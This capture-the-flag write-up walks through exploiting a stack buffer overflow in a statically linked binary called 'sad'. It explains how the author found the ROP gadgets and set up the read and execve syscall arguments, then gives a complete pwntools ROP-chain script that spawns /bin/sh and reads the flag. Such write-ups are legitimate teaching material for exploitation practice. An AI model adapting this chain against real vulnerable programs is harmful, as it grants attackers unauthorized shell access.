Tags: pwn ropchain 

Rating:

## Description
Starting up the program, we can see a simple prompt that takes in a user input and segfaults if it overflows.
```bash
This is a really big binary. Hope you have everything you need ;)
tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt
[1] 247339 segmentation fault (core dumped) ./sad
```

Looking at this executable in radare2 we find that there's a buffer of length `0x100` and the return pointer shows up after another 8 bytes of padding. By showing the memory maps (with `:dm`) after runtime, we can see that the stack, where our input goes is not executable:
```
0x00007ffddf880000 - 0x00007ffddf8a1000 - usr 132K s rw- [stack] [stack] ; map.stack_.rw
```

## Exploitation
So instead of writing shellcode (because it can't be executed), we can use a ROP Chain to eventually call `execve` with `"/bin/sh"` and spawn a shell. First though, we need to find the 5 gadgets below to be able to exploit. The address where they are located are also included and are part of the python exploit script.
```py
POP_RDI = p64(0x00481a89) # pop rdi, ret
POP_RSI = p64(0x00481fd7) # pop rsi, ret
POP_RDX = p64(0x0040177f) # pop rdx, ret
POP_RAX = p64(0x0043f8d7) # pop rax, ret
SYSCALL = p64(0x0040eda4) # syscall, ret
```

Now that we have found our gadgets, we need to determine the exact arguments (which use the registers `rdi`, `rsi`, and `rdx`, with the syscall number in `rax`) for `read` and `execve`. The `read` syscall takes in a file descriptor, pointer to a buffer to read into, and a count for the number of bytes to read in. In our case, we use `0` as the file descriptor for `stdin` and the buffer needs to be at some offset (PIE is disabled so this is constant) in writable memory. Let's use `0x4b0310` which can be found by looking at the writable memory maps and finding many null bytes. Before we understand the length, let's take a look at the arguments for `execve`.

`execve` takes a pointer to a pathname, a pointer to an array of `char *` arguments to pass to the program, and a pointer to an array of `char *` environment variables. In our case, the pathname pointer will be `0x4b0310` which is where we will write `/bin/sh` and the arguments will be read in by the `read` right after the `/bin/sh` so we will use `0x4b0318`. These arguments need to be pointers to strings and, as we know, `argv[0]` is the program name so for simplicity we can have it point back to the `"/bin/sh"`. We end off with a null pointer to signify the end of the array. Finally, the environment variables can just be a null pointer for an empty array. Below is the full payload which `read` will read in as Python bytes:
```py
b'/bin/sh\x00\x10\x03\x4b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

# pathname: /bin/sh\x00
# argv[0]: \x10\x03\x4b\x00\x00\x00\x00\x00
# argv end: \x00\x00\x00\x00\x00\x00\x00\x00
```

Jumping back to our `read` call, this gives us a final length of `24` and a final ROP Chain exploit which looks as follows:
```py

from pwn import *
import sys

p = process("./sad")
# p = remote('jh2i.com', 50002)

POP_RDI = p64(0x00481a89) # pop rdi, ret
POP_RSI = p64(0x00481fd7) # pop rsi, ret
POP_RDX = p64(0x0040177f) # pop rdx, ret
POP_RAX = p64(0x0043f8d7) # pop rax, ret
SYSCALL = p64(0x0040eda4) # syscall, ret

WRITE_OFFSET = 0x4b0310
WRITE = b"/bin/sh\x00" + p64(WRITE_OFFSET) + p64(0)

ROP_CHAIN = b"A" * (256 + 8)\
+ POP_RDI \
+ p64(0) \
+ POP_RSI \
+ p64(WRITE_OFFSET) \
+ POP_RDX \
+ p64(len(WRITE)) \
+ POP_RAX \
+ p64(0) \
+ SYSCALL \
+ POP_RDI \
+ p64(WRITE_OFFSET) \
+ POP_RSI \
+ p64(WRITE_OFFSET + len(b"/bin/sh\x00")) \
+ POP_RDX \
+ p64(0) \
+ POP_RAX \
+ p64(59) \
+ SYSCALL \

p.sendline(ROP_CHAIN)
p.sendline(WRITE)
p.interactive()
```
Every gadget will pop the pointer after it, so the first two lines of the `ROP_CHAIN` will place `0x0000000000000000` into `rdi`, `0x4b0310` (`WRITE_OFFSET`) into `rdx` and so on. The `0` and `59` used for `rax` are the system call numbers for `read` and `execve`.

And bam, we get a shell and the flag.
```sh
$ ls
flag.txt
sad
$ cat flag.txt
flag{radically_statically_roppingly_vulnerable}
```

Original writeup (https://fluix.dev/blog/hacktivity-con-2020-static-and-dynamic/).